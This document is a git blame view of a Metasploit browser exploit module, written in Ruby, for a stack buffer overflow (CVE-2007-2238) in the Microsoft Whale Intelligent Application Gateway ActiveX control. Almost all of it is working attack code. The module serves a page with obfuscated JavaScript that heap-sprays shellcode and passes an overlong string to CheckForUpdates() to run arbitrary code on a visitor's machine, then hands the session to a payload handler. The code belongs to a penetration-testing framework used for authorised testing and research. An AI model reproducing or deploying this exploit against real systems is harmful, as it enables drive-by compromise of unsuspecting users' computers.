Files
metasploit-gs/modules/exploits/windows/browser/mswhale_checkforupdates.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

116 lines
3.1 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = NormalRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::HttpServer::HTML
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Whale Intelligent Application Gateway ActiveX Control Buffer Overflow',
'Description' => %q{
2010-05-09 17:45:00 +00:00
This module exploits a stack buffer overflow in Microsoft Whale Intelligent Application
Gateway Whale Client. When sending an overly long string to CheckForUpdates()
method of WhlMgr.dll (3.1.502.64) an attacker may be able to execute
arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'References' =>
[
[ 'CVE', '2007-2238' ],
[ 'OSVDB', '53933'],
2009-07-16 16:02:24 +00:00
[ 'URL', 'http://technet.microsoft.com/en-us/library/dd282918.aspx' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2009-04-15',
'DefaultTarget' => 0))
end
2013-08-30 16:28:54 -05:00
def autofilter
false
end
2013-08-30 16:28:54 -05:00
def check_dependencies
use_zlib
end
2013-08-30 16:28:54 -05:00
def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)
2013-08-30 16:28:54 -05:00
# fluff..
fluff = rand_text_english(rand(20) + 1)
2013-08-30 16:28:54 -05:00
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
2013-08-30 16:28:54 -05:00
# Set the return.
ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or cl,[edx]").encode_string * 2)
2013-08-30 16:28:54 -05:00
js = %Q|
try {
var evil_string = "";
var index;
var vulnerable = new ActiveXObject('ComponentManager.Installer.1');
var my_unescape = unescape;
var shellcode = '#{shellcode}';
#{js_heap_spray}
sprayHeap(my_unescape(shellcode), 0x0a0a0a0a, 0x40000);
for (index = 0; index < 15000; index++) {
evil_string = evil_string + my_unescape('#{ret}');
}
vulnerable.CheckForUpdates(evil_string,'#{fluff}');
} catch( e ) { window.location = 'about:blank' ; }
|
2013-08-30 16:28:54 -05:00
opts = {
'Strings' => true,
'Symbols' => {
'Variables' => [
'vulnerable',
'shellcode',
'my_unescape',
'index',
'evil_string',
]
}
}
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
js.update_opts(js_heap_spray.opts)
js.obfuscate(memory_sensitive: true)
content = %Q|<html>
<body>
<script><!--
#{js}
//</script>
</body>
</html>
|
2012-04-20 13:31:42 -06:00
print_status("Sending #{self.name}")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end